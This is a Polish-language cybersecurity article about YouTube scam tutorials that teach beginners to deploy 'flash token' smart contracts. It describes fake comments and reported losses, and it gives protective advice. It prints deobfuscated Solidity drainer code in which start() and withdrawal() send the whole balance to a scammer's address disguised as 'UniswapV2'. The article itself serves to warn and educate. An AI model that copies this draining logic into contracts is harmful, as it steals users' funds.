Tutorial na flash token, to scam! Oszuści działają na YouTube!

W świecie kryptowalut każdy krok wymaga rozwagi, a najnowszy scam na YouTube pokazuje, że przestępcy stają się coraz bardziej pomysłowi. Fałszywe tutoriale na temat tworzenia tzw. flash tokenów, skierowane głównie do początkujących programistów smart kontraktów, to w rzeczywistości dobrze zaplanowany schemat kradzieży. Oto, jak działają oszuści i dlaczego warto zachować szczególną ostrożność.

Jak działa scam na tutorial z flash tokenami?

Schemat zaczyna się od publikacji przystępnie przygotowanego filmu na YouTube. Autor, rzekomo ekspert w dziedzinie smart kontraktów, krok po kroku wyjaśnia, jak stworzyć własny token flash. Tutorial przede wszystkim zachęca użytkowników do zasilenia swojego portfela kryptowalutowego. Następnie należy skopiować kod z podanego źródła (np. strony internetowej). Wkleić go do Remix Ethereum IDE. Wdrożyć smart kontrakt na blockchain oraz wypróbować funkcję wypłaty, która ma rzekomo generować środki w portfelu.

Na pierwszy rzut oka proces wydaje się wiarygodny. Problem tkwi jednak w kodzie, który zawiera „zobfuskowaną” logikę. Po bliższym przyjrzeniu się okazuje się, że kod ten przesyła środki użytkownika na zahardkodowany adres portfela oszusta. Całość doprawiona jest jeszcze pozytywnymi komentarzami potwierdzającymi działanie tutorialowej metody. Oczywiście wszystkie pozytywne komentarze wystawione są przez fejkowe konta, aby nadać całemu oszustwu wiarygodności.  

Analiza kodu - scam ukryty w szczegółach

Kod przedstawiony w tutorialu jest celowo zamaskowany, aby ukryć swoje prawdziwe działanie. Po zdeobfuskowaniu okazało się, że wszystkie transakcje prowadziły do adresu kontrolowanego przez oszustów:

address UniswapV2 = 0x40d4AeC2145a1EeB[...]ea5BC337c386BB;

function start() public payable {

    payable((UniswapV2)).transfer(address(this).balance);

}

function withdrawal() public payable {

    payable((UniswapV2)).transfer(address(this).balance);

}

Funkcje te natychmiast przesyłają wszystkie środki na portfel przestępców. Dalsze śledztwo wykazało, że środki są transferowane przez kolejne adresy, zanim trafiają na portfele różnych giełd. 

Skala problemu

Badania prowadzone przez projekt Metasleuth ujawniły, że oszuści zgromadzili na jednym z portfeli ponad 2 mln USD. Co gorsza, podobnych filmów na YouTube jest znacznie więcej, a każdy z nich celuje w osoby niedoświadczone, które mogą nie rozpoznać zagrożenia. Wszystko po to, aby wyłowić z tłumu osoby niedoświadczone i pragnące się uczyć. Niestety takich scamów na YouTube będzie więcej, dlatego jedynym skutecznym sposobem na zabezpieczenie się przed scamerami jest edukacja dotycząca cyberbezpieczeństwa.

Jak się chronić?

1. Nie kopiuj kodu z nieznanych źródeł - zawsze sprawdzaj wiarygodność autora i źródła tutoriala.
2. Analizuj kod - jeśli nie rozumiesz jego logiki, skonsultuj się z ekspertem. Możesz też skorzystać z analizy kodu w ChacieGPT.
3. Unikaj podejrzanych obietnic - łatwe zyski są często pułapką.Szybko, prosto, dużo - nie daj się zwieść fałszywym prorokom ;)

Scam na YouTube to jedno z bardziej przemyślanych oszustw. Będzie tego więcej

Oszuści stale doskonalą swoje metody, a tutoriale takie jak te dotyczące flash tokenów są wycelowane w osoby chcące szybko nauczyć się nowych umiejętności. Tak sprytne zakamuflowanie oszustwa jest zdecydowanie nie do wychwycenia przez osoby dopiero wchodzące w świat cyfrowych aktywów. Jeśli coś wydaje się zbyt piękne, aby było prawdziwe, prawdopodobnie tak właśnie jest. Pamiętaj, aby zawsze weryfikować źródła i nie podejmować pochopnych działań. Bezpieczeństwo Twoich kryptowalut zależy od Ciebie! Cyberbezpieczeństwo, to podstawa!